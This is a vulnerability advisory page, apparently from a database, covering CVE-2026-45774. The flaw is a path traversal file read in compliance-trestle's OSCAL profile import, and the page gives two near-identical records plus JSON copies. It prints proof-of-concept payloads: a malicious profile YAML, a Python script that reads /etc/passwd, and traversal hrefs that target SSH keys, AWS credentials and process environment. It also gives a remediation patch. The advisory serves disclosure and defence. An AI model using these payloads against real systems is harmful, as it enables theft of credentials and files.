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GHSA-MJ4X-VF5C-5XG8

Vulnerability from github – Published: 2026-05-28 17:37 – Updated: 2026-05-28 17:37

Summary

compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal

Details

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed: 1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme 2. PT-002: ../../etc/passwd — via relative path in href 3. PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 — LocalFetcher (relative path handling)

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

        # Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause: 1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd 2. No is_relative_to(trestle_root) check after resolve 3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code) 4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")  # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")    # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

            # ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

CWE-22: https://cwe.mitre.org/data/definitions/22.html
OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

Credential Theft via OSCAL Import: ```yaml imports:
- href: "trestle://../../root/.aws/credentials"
- href: "trestle://../../root/.ssh/id_rsa" ```
System Reconnaissance: ```yaml imports:
- href: "trestle://../../etc/passwd"
- href: "trestle://../../proc/self/environ" ```
Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
Dead Code Evidence: TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

Severity

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.0.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:37:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe compliance-trestle library\u0027s profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem.\n\nThree attack vectors confirmed:\n1. **PT-001:** `trestle://../../etc/passwd` \u2014 via trestle:// URI scheme\n2. **PT-002:** `../../etc/passwd` \u2014 via relative path in href\n3. **PT-003:** back_matter rlinks with traversal paths\n\n**Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML.\n\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 175-179)\n**File:** `trestle/core/resolver/_import.py` (line 104)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n\n## Vulnerable Code\n\n### cache.py:175-179 \u2014 LocalFetcher (trestle:// URI handling)\n\n```python\nclass LocalFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n        super().__init__(trestle_root, uri)\n        # ...\n        elif uri.startswith(const.TRESTLE_HREF_HEADING):\n            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n            self._abs_path = pathlib.Path(uri).resolve()\n            # \u274c NO boundary check \u2014 .resolve() follows ../\n            # \u274c NO is_relative_to() validation\n            # \u274c Result can be /etc/passwd\n            self._cached_object_path = self._abs_path\n            return\n```\n\n### cache.py:194 \u2014 LocalFetcher (relative path handling)\n\n```python\n        # For relative paths (no trestle:// or file:// prefix):\n        try:\n            self._abs_path = pathlib.Path(uri).resolve()\n            # \u274c Same issue \u2014 resolves relative to CWD with no boundary check\n        except Exception:\n            raise TrestleError(...)\n```\n\n### _import.py:73-104 \u2014 Profile import href resolution\n\n```python\nclass Import(Pipeline.Filter):\n    def __init__(self, ...):\n        # Line 73-83: back_matter rlinks used directly\n        if self._import.href[0] == \u0027#\u0027:\n            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]\n            self._import.href = [\n                rlink.href  # \u274c rlink.href from OSCAL data \u2014 user-controlled\n                for rlink in resource.rlinks\n                if rlink.href.endswith(\u0027.json\u0027) or rlink.href.endswith(\u0027.yaml\u0027)\n            ][0]\n\n        # Line 104: href passed directly to FetcherFactory\n        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)\n```\n\n**Root Cause:**\n1. `Path(trestle_root / \"../../etc/passwd\").resolve()` = `/etc/passwd`\n2. No `is_relative_to(trestle_root)` check after resolve\n3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code)\n4. Even if enforced, the regex `\u0027^trestle://[^/]\u0027` would PASS traversal payloads (`.` is `[^/]`)\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml\nprofile:\n  uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n  metadata:\n    title: \"Malicious Profile\"\n    version: \"1.0\"\n    last-modified: \"2024-01-01T00:00:00+00:00\"\n    oscal-version: \"1.0.4\"\n  imports:\n    - href: \"trestle://../../../../../../etc/passwd\"\n```\n\n### PoC: Direct LocalFetcher Exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: trestle:// path traversal via real LocalFetcher\"\"\"\nfrom pathlib import Path\nfrom trestle.core.remote.cache import LocalFetcher\nimport tempfile\n\ntrestle_root = Path(tempfile.mkdtemp())\n\n# Normal usage \u2014 stays within workspace\nnormal = LocalFetcher(trestle_root, \"trestle://catalogs/test/catalog.json\")\nprint(f\"Normal: {normal._abs_path}\")  # /tmp/xxx/catalogs/test/catalog.json\n\n# Exploit \u2014 escapes workspace\nevil = LocalFetcher(trestle_root, \"trestle://../../../../../../etc/passwd\")\nprint(f\"Evil:   {evil._abs_path}\")    # /etc/passwd\nprint(f\"Content: {evil._abs_path.read_text().split(chr(10))[0]}\")\n# Output: root:x:0:0:root:/root:/bin/bash\n```\n\n**Expected:** Path traversal blocked with error\n**Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully\n\n\n## Remediation\n\n```python\nclass LocalFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n        super().__init__(trestle_root, uri)\n        # ...\n        elif uri.startswith(const.TRESTLE_HREF_HEADING):\n            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n            self._abs_path = pathlib.Path(uri).resolve()\n\n            # \u2705 ADD: Boundary check\n            if not self._abs_path.is_relative_to(self._trestle_root):\n                raise TrestleError(\n                    f\"Path traversal blocked: resolved path \u0027{self._abs_path}\u0027 \"\n                    f\"is outside trestle root \u0027{self._trestle_root}\u0027\"\n                )\n\n            self._cached_object_path = self._abs_path\n            return\n```\n\nSame fix needed for relative path handling at line 194.\n\nAdditionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used).\n\n\n## Resources\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n1. **Credential Theft via OSCAL Import:**\n   ```yaml\n   imports:\n     - href: \"trestle://../../root/.aws/credentials\"\n     - href: \"trestle://../../root/.ssh/id_rsa\"\n   ```\n\n2. **System Reconnaissance:**\n   ```yaml\n   imports:\n     - href: \"trestle://../../etc/passwd\"\n     - href: \"trestle://../../proc/self/environ\"\n   ```\n\n3. **Supply Chain Attack:**\n   Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.\n\n4. **Dead Code Evidence:**\n   `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere \u2014 proves path validation was INTENDED but never implemented.",
  "id": "GHSA-mj4x-vf5c-5xg8",
  "modified": "2026-05-28T17:37:08Z",
  "published": "2026-05-28T17:37:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/5c65c5926fe7ca908b9c1d281f904e7d97ba8310"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/d00a0c2f702c24f7016009fbd626036f5c46f47b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal"
}

PYSEC-2026-2426

Vulnerability from pysec - Published: 2026-07-13 15:19 - Updated: 2026-07-13 16:03

Details

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed: 1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme 2. PT-002: ../../etc/passwd — via relative path in href 3. PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 — LocalFetcher (relative path handling)

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

        # Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause: 1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd 2. No is_relative_to(trestle_root) check after resolve 3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code) 4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")  # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")    # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

            # ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

CWE-22: https://cwe.mitre.org/data/definitions/22.html
OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

Credential Theft via OSCAL Import: ```yaml imports:
- href: "trestle://../../root/.aws/credentials"
- href: "trestle://../../root/.ssh/id_rsa" ```
System Reconnaissance: ```yaml imports:
- href: "trestle://../../etc/passwd"
- href: "trestle://../../proc/self/environ" ```
Supply Chain Attack: Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
Dead Code Evidence: TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

Severity

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Impacted products

Name	purl
compliance-trestle	pkg:pypi/compliance-trestle

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "compliance-trestle",
        "purl": "pkg:pypi/compliance-trestle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            },
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.2",
        "0.0.3",
        "0.1.0",
        "0.1.1",
        "0.10.0",
        "0.11.0",
        "0.12.0",
        "0.13.0",
        "0.13.1",
        "0.14.0",
        "0.14.1",
        "0.14.2",
        "0.14.3",
        "0.14.4",
        "0.15.0",
        "0.15.1",
        "0.16.0",
        "0.17.0",
        "0.18.0",
        "0.18.1",
        "0.19.0",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.20.0",
        "0.21.0",
        "0.22.0",
        "0.22.1",
        "0.23.0",
        "0.24.0",
        "0.25.0",
        "0.25.1",
        "0.26.0",
        "0.27.0",
        "0.27.1",
        "0.27.2",
        "0.28.0",
        "0.28.1",
        "0.29.0",
        "0.3.0",
        "0.30.0",
        "0.31.0",
        "0.32.0",
        "0.32.1",
        "0.33.0",
        "0.34.0",
        "0.35.0",
        "0.36.0",
        "0.37.0",
        "0.4.0",
        "0.5.0",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.8.0",
        "0.8.1",
        "0.9.0",
        "1.0.0rc0",
        "1.0.1",
        "1.0.2",
        "1.1.0",
        "1.2.0",
        "2.0.0",
        "2.1.0",
        "2.1.1",
        "2.2.0",
        "2.2.1",
        "2.3.0",
        "2.3.1",
        "2.4.0",
        "2.5.0",
        "2.5.1",
        "2.6.0",
        "2.6.1",
        "3.0.1",
        "3.1.0",
        "3.10.2",
        "3.10.3",
        "3.10.4",
        "3.11.0",
        "3.12.0",
        "3.12.1",
        "3.2.0",
        "3.3.0",
        "3.4.0",
        "3.5.0",
        "3.6.0",
        "3.7.0",
        "3.8.0",
        "3.8.1",
        "3.9.0",
        "3.9.1",
        "3.9.2",
        "3.9.3",
        "4.0.0",
        "4.0.1",
        "4.0.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45774",
    "GHSA-mj4x-vf5c-5xg8"
  ],
  "details": "## Summary\n\nThe compliance-trestle library\u0027s profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem.\n\nThree attack vectors confirmed:\n1. **PT-001:** `trestle://../../etc/passwd` \u2014 via trestle:// URI scheme\n2. **PT-002:** `../../etc/passwd` \u2014 via relative path in href\n3. **PT-003:** back_matter rlinks with traversal paths\n\n**Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML.\n\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 175-179)\n**File:** `trestle/core/resolver/_import.py` (line 104)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n\n## Vulnerable Code\n\n### cache.py:175-179 \u2014 LocalFetcher (trestle:// URI handling)\n\n```python\nclass LocalFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n        super().__init__(trestle_root, uri)\n        # ...\n        elif uri.startswith(const.TRESTLE_HREF_HEADING):\n            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n            self._abs_path = pathlib.Path(uri).resolve()\n            # \u274c NO boundary check \u2014 .resolve() follows ../\n            # \u274c NO is_relative_to() validation\n            # \u274c Result can be /etc/passwd\n            self._cached_object_path = self._abs_path\n            return\n```\n\n### cache.py:194 \u2014 LocalFetcher (relative path handling)\n\n```python\n        # For relative paths (no trestle:// or file:// prefix):\n        try:\n            self._abs_path = pathlib.Path(uri).resolve()\n            # \u274c Same issue \u2014 resolves relative to CWD with no boundary check\n        except Exception:\n            raise TrestleError(...)\n```\n\n### _import.py:73-104 \u2014 Profile import href resolution\n\n```python\nclass Import(Pipeline.Filter):\n    def __init__(self, ...):\n        # Line 73-83: back_matter rlinks used directly\n        if self._import.href[0] == \u0027#\u0027:\n            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]\n            self._import.href = [\n                rlink.href  # \u274c rlink.href from OSCAL data \u2014 user-controlled\n                for rlink in resource.rlinks\n                if rlink.href.endswith(\u0027.json\u0027) or rlink.href.endswith(\u0027.yaml\u0027)\n            ][0]\n\n        # Line 104: href passed directly to FetcherFactory\n        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)\n```\n\n**Root Cause:**\n1. `Path(trestle_root / \"../../etc/passwd\").resolve()` = `/etc/passwd`\n2. No `is_relative_to(trestle_root)` check after resolve\n3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code)\n4. Even if enforced, the regex `\u0027^trestle://[^/]\u0027` would PASS traversal payloads (`.` is `[^/]`)\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml\nprofile:\n  uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n  metadata:\n    title: \"Malicious Profile\"\n    version: \"1.0\"\n    last-modified: \"2024-01-01T00:00:00+00:00\"\n    oscal-version: \"1.0.4\"\n  imports:\n    - href: \"trestle://../../../../../../etc/passwd\"\n```\n\n### PoC: Direct LocalFetcher Exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: trestle:// path traversal via real LocalFetcher\"\"\"\nfrom pathlib import Path\nfrom trestle.core.remote.cache import LocalFetcher\nimport tempfile\n\ntrestle_root = Path(tempfile.mkdtemp())\n\n# Normal usage \u2014 stays within workspace\nnormal = LocalFetcher(trestle_root, \"trestle://catalogs/test/catalog.json\")\nprint(f\"Normal: {normal._abs_path}\")  # /tmp/xxx/catalogs/test/catalog.json\n\n# Exploit \u2014 escapes workspace\nevil = LocalFetcher(trestle_root, \"trestle://../../../../../../etc/passwd\")\nprint(f\"Evil:   {evil._abs_path}\")    # /etc/passwd\nprint(f\"Content: {evil._abs_path.read_text().split(chr(10))[0]}\")\n# Output: root:x:0:0:root:/root:/bin/bash\n```\n\n**Expected:** Path traversal blocked with error\n**Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully\n\n\n## Remediation\n\n```python\nclass LocalFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n        super().__init__(trestle_root, uri)\n        # ...\n        elif uri.startswith(const.TRESTLE_HREF_HEADING):\n            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n            self._abs_path = pathlib.Path(uri).resolve()\n\n            # \u2705 ADD: Boundary check\n            if not self._abs_path.is_relative_to(self._trestle_root):\n                raise TrestleError(\n                    f\"Path traversal blocked: resolved path \u0027{self._abs_path}\u0027 \"\n                    f\"is outside trestle root \u0027{self._trestle_root}\u0027\"\n                )\n\n            self._cached_object_path = self._abs_path\n            return\n```\n\nSame fix needed for relative path handling at line 194.\n\nAdditionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used).\n\n\n## Resources\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n1. **Credential Theft via OSCAL Import:**\n   ```yaml\n   imports:\n     - href: \"trestle://../../root/.aws/credentials\"\n     - href: \"trestle://../../root/.ssh/id_rsa\"\n   ```\n\n2. **System Reconnaissance:**\n   ```yaml\n   imports:\n     - href: \"trestle://../../etc/passwd\"\n     - href: \"trestle://../../proc/self/environ\"\n   ```\n\n3. **Supply Chain Attack:**\n   Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.\n\n4. **Dead Code Evidence:**\n   `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere \u2014 proves path validation was INTENDED but never implemented.",
  "id": "PYSEC-2026-2426",
  "modified": "2026-07-13T16:03:45.675091Z",
  "published": "2026-07-13T15:19:13.012884Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-mj4x-vf5c-5xg8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/5c65c5926fe7ca908b9c1d281f904e7d97ba8310"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oscal-compass/compliance-trestle/commit/d00a0c2f702c24f7016009fbd626036f5c46f47b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oscal-compass/compliance-trestle"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/compliance-trestle"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-mj4x-vf5c-5xg8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45774"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal"
}

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Related vulnerabilities

GHSA-MJ4X-VF5C-5XG8

Summary

Affected Component

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

cache.py:194 — LocalFetcher (relative path handling)

_import.py:73-104 — Profile import href resolution

Steps to Reproduce

Prerequisites

PoC: Malicious OSCAL Profile

PoC: Direct LocalFetcher Exploit

Remediation

Resources

Impact

PYSEC-2026-2426

Summary

Affected Component

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

cache.py:194 — LocalFetcher (relative path handling)

_import.py:73-104 — Profile import href resolution

Steps to Reproduce

Prerequisites

PoC: Malicious OSCAL Profile

PoC: Direct LocalFetcher Exploit

Remediation

Resources

Impact